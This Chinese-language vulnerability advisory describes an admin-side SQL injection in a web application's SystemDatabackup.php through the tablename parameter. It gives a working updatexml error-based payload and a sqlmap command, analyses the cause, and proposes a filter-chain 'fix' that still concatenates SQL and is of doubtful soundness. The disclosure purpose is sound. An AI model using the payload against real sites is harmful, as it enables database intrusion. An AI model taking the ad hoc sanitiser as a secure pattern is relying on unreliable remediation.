后台存在SQL注入漏洞,攻击者可以通过SystemDatabackup.php中的tablename参数进行SQL注入
如图登录后台执行以下操作,并抓取数据包
将GET请求中/admin/system.system_databackup/seetable/tablename/后的改成1'and+updatexml(1,concat(0x7e,database()),1)%23即可实现报错注入,通过报错得到数据库名称
数据包如下:
使用SQLMAP进行注入:
python sqlmap.py -r 3.txt --batch --technique EB
漏洞分析
问题出现在application/admin/controller/system/SystemDatabackup.php中的seetable方法,tablename字段没有经过处理直接拼接到SQL语句中,最后通过Db::query执行,而Db::query没有任何过滤措施。
因此可以通过以下payload实现报错注入:
/admin/system.system_databackup/seetable/tablename/1'and+updatexml(1,concat(0x7e,database()),1)%23
修复方法:
方法:
app\admin\controller\system\SystemDatabackup\seetable
/**
* 查看表结构
* @param Request|null $request
*/
public function seetable(Request $request = null)
{
$database = config("database.database");
$tablename = $request->param('tablename');
$res = [];
try {
$tablename = $this->clean($tablename);
$res = Db::query("select * from information_schema.columns where table_name = '" . $tablename . "' and table_schema = '" . $database . "'");
} catch (\Exception $e) {
echo $e->getMessage();
}
if (count($res) <= 0) return;
$html = '';
$html .= '<table border="1" cellspacing="0" cellpadding="0" align="center">';
$html .= '<tbody><tr><th>字段名</th><th>数据类型</th><th>默认值</th><th>允许非空</th><th>自动递增</th><th>备注</th></tr>';
$html .= '';
foreach ($res as $f) {
$html .= '<td class="c1">' . $f['COLUMN_NAME'] . '</td>';
$html .= '<td class="c2">' . $f['COLUMN_TYPE'] . '</td>';
$html .= '<td class="c3">' . $f['COLUMN_DEFAULT'] . '</td>';
$html .= '<td class="c4">' . $f['IS_NULLABLE'] . '</td>';
$html .= '<td class="c5">' . ($f['EXTRA'] == 'auto_increment' ? '是' : ' ') . '</td>';
$html .= '<td class="c6">' . $f['COLUMN_COMMENT'] . '</td>';
$html .= '</tr>';
}
$html .= '</tbody></table></p>';
$html .= '<p style="text-align:left;margin:20px auto;">总共:' . count($res) . '个字段</p>';
$html .= '</body></html>';
echo '<style>
body,td,th {font-family:"宋体"; font-size:12px;}
table,h1,p{width:960px;margin:0px auto;}
table{border-collapse:collapse;border:1px solid #CCC;background:#efefef;}
table caption{text-align:left; background-color:#fff; line-height:2em; font-size:14px; font-weight:bold; }
table th{text-align:left; font-weight:bold;height:26px; line-height:26px; font-size:12px; border:1px solid #CCC;padding-left:5px;}
table td{height:20px; font-size:12px; border:1px solid #CCC;background-color:#fff;padding-left:5px;}
.c1{ width: 150px;}
.c2{ width: 150px;}
.c3{ width: 80px;}
.c4{ width: 100px;}
.c5{ width: 100px;}
.c6{ width: 300px;}
</style>';
echo $html;
}
/**
* 过滤
* @param $str
* @return string
*/
public function clean($str)
{
$str = trim($str);
$str = strip_tags($str);
$str = stripslashes($str);
$str = addslashes(sprintf("%s", $str));
$str = rawurldecode($str);
$str = quotemeta($str);
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = htmlentities($str, ENT_QUOTES);
$str = htmlspecialchars($str);
return $str;
}